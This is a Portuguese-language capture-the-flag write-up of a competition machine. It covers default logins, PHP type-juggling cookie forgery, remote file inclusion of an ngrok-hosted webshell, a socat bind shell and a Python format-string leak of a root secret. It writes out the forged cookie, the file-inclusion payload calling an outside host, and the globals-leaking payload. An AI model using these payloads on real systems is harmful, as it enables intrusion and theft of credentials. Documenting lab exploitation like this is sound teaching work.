Ola sou o Vinicius (big0us), esse é um write-up de uma maquina que foi o challenge de uma das etapas classificatórias do UHC.
Escreverei meio rápido então peço desculpas se algo estiver um pouco ruim.
Boa leitura :)
g00d_h4ck1ng
Recon
A primeira página é uma página de login, dando uma olhada no HTML da página aparentemente não existe nada escondido, vou rodar um fuzzing e depois poderemos testar algumas credenciais.
Aparentemente nosso fuzzing entregou apenas um /class, onde existe um directory listing apontando um arquivo “.php”.
Ok, vamos testar algumas credenciais padrões no formulário de login:
admin:admin
guest:guest
administrator:admin
root:root
Testando “guest:guest” conseguimos entrar:
Dando uma olhada aparentemente temos só uma página de welcome.
Vamos ver nossos cookies.
Vamos entender melhor esse cookie chamado session pois ele parece ser interessante:
Utilizando o cyberchef para decodar o cookie podemos perceber que se trata de um JSON com três valores: hmac (provavelmente algo que valide os valores), username, e uma hora para o cookie expirar.
Vou tentar alterar o valor de username para “admin” encodar em base64, url e então enviar para a aplicação.
Aparentemente retornou um erro dizendo que estamos tentando fazer um “temperamento de cookie”, e retornou uma flag! Nossa primeira flag.
Depois de alguns testes enviando cookies com outros valores aleatórios, acabei percebendo que a aplicação valida o Cookie pelo valor do hmac, e não pelo conteudo inteiro do json.
Uma vulnerabilidade muito conhecida sobre validações do PHP é o type jugling, que consiste em bypass de autenticações fazendo qualquer if($ == $) retornar “true”.
PHP Type Juggling Vulnerabilities
Basicamente quando um programador utiliza “==” em uma comparação o php primeiro torna os dois valores do mesmo tipo, ignorando o tipo (int, str…) das variáveis.
E nessa operação podemos utilizar algumas técnicas para a comparação retornar “true”.
Exploitation
Depois de um tempo tentando, testei trocar o valor do “hmac” para “true” e aparentemente funcionou!
{"hmac":true,"username":"admin","expiration":1625435484}
Ok, fiquei triste que não existe nenhuma flag por aqui 😢.
Vou tentar alterar o nome do usuário para entender o que está acontecendo.
Alterando para “test” o php nos retorna um erro, aparentemente ele está rodando um “require_once” no valor que colocamos + adicionando .php no final. require_once normalmente é usado para incluir páginas e arquivos php em sites, e quando o usuário tem controle sobre o valor que o require_once vai usar a aplicação está vulnerável a LFI ou RFI (Local/Remote File Inclusion).
Como a aplicação ja coloca o .php no final vou fazer o seguinte.
Subir um arquivo com uma webshell num servidor utilizando o ngrok, mandar a a aplicação incluir meu arquivo e conseguir um RCE.
E vou mandar a payload:
{"hmac":true,"username":"https://3b4f8afabab2.ngrok.io/shell","expiration":1625435484}
(A aplicação ja vai colocar o .php)
Temos RCE!!
Agora vou tentar pegar uma reverse shell.
Após algumas tentativas percebi que existe um firewall na aplicação que bloqueia qualquer comunicação em portas que não forem 80 ou 443, como eu não tenho uma VPS, vou fazer de uma forma diferente, ao invés de uma reverse shell (onde a vitima se conecta no atante) vou pegar uma bind shell (abrindo uma porta na maquina e me conectando nela).
Para isso vou usar o “socat”.
[socat | GTFOBins](https://gtfobins.github.io/gtfobins/socat/#bind-shell) |
Primeiro peguei o binario do socat no github deles (socat binary) e passei pra maquina utilizando o web-server que eu criei para conseguir RCE, e dando um curl.
Então rodei os comandos que estão na imagem e consegui uma bind shell! (utilizei a porta 6969)
E navegando um pouco no / encontramos a próxima flag:
Pós Exploitation
Fazendo o básico checklist de priv esc podemos perceber que estamos com o usuário do apache e podemos rodar um script como root na máquina:
Aparentemente não podemos ler o script e nem altera-lo.
O que nos resta é roda-lo:
Aparentemente ele printa um IP, dando uma olhada no /var/www/html o path da aplicação web podemos perceber que existe um arquivo com o mesmo ip que ele printou, então aparentemente ele está printando o IP que está no arquivo.
Abri o arquivo com o nano (antes rodar ‘export TERM=xterm’ !!) e começei a edita-lo para tentar retornar algum erro no python que me mostre alguma coisa do programa.
Interessante, aparentemente existe um format string diferente (pouco usado) rodando.
Pesquisando sobre esse tipo de format string + vulnerabilites acabei tropeçando nesse artigo.
Are there any Security Concerns to using Python F Strings with User Input
Basicamente nele explica-se tudo o que precisamos fazer, por isso não vou explicar direitinho, mas basicamente a forma que esse format string funciona nos permite injetar mais strings para serem formatadas, e se isso é printado podemos printar todas as váriaveis globais que o arquivo usa, normlamente dando alguma key ou senha para nós. (Para quem não entende muito bem inglês é só traduzir que fica tranquilo de entender).
Ok então vamos a payload.
{"ips":["{ip.list_blocked.__globals__}"]}
Aparentemente funcionou e conseguimos o valor de uma váriavel chamada root_secret, provavelmente é a senha do root.
Worked!!
Obrigado a você que leu até aqui, parabéns cadu pela máquina, e desclupe por algum erro no write-up, fiz correndo >_>